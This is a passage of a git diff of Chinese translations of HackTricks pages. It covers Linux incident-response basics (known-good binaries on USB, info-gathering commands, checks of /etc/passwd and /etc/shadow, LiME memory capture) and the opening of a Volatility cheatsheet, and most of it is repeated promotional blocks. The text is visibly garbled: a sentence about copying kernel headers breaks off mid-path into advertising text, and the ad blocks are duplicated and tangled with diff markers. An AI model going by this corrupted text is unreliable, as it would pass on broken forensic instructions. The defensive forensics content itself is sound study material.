+首先，建议准备一些 **USB**，上面有 **已知的良好二进制文件和库**（你可以直接获取 ubuntu 并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_），然后挂载 USB，并修改环境变量以使用这些二进制文件：
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-一旦您配置系统以使用良好且已知的二进制文件，您可以开始**提取一些基本信息**：
+一旦您配置系统以使用良好且已知的二进制文件，您就可以开始**提取一些基本信息**：
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### 可疑信息
-在获取基本信息时，应检查以下奇怪的事物：
+在获取基本信息时，您应该检查一些奇怪的事情，例如：
-- **Root进程**通常以较低的PID运行，因此如果发现一个具有较大PID的Root进程，可能存在可疑
-- 检查`/etc/passwd`中没有shell的用户的**注册登录**
-- 检查`/etc/shadow`中没有shell的用户的**密码哈希**
+* **Root 进程** 通常使用低 PIDS，因此如果您发现一个具有大 PID 的 root 进程，您可能会怀疑
+* 检查 `/etc/passwd` 中没有 shell 的用户的 **注册登录**
+* 检查 `/etc/shadow` 中没有 shell 的用户的 **密码哈希**
### 内存转储
-要获取运行系统的内存，建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
-要**编译**它，需要使用受害机器正在使用的**相同内核**。
+要获取运行系统的内存，建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
+要 **编译** 它，您需要使用受害者机器正在使用的 **相同内核**。
{% hint style="info" %}
-请记住，您**不能在受害机器上安装LiME或任何其他东西**，因为这将对其进行多处更改
+请记住，您 **不能在受害者机器上安装 LiME 或其他任何东西**，因为这会对其进行多次更改
{% endhint %}
-因此，如果您有Ubuntu的相同版本，可以使用`apt-get install lime-forensics-dkms`\
-在其他情况下，您需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME)，并使用正确的内核头文件编译它。要**获取受害机器的确切内核头文件**，您只需将目录`/lib/modules/从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 格式的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
-
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+从零到英雄学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!
-您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ +你在一家**网络安全公司**工作吗？你想在HackTricks上看到你的**公司广告**吗？或者你想访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 +* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com) +* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。** -**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** +**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR分享你的黑客技巧。**[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
index 398567d75..6b7d3db95 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
@@ -1,44 +1,41 @@
# Volatility - CheatSheet
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。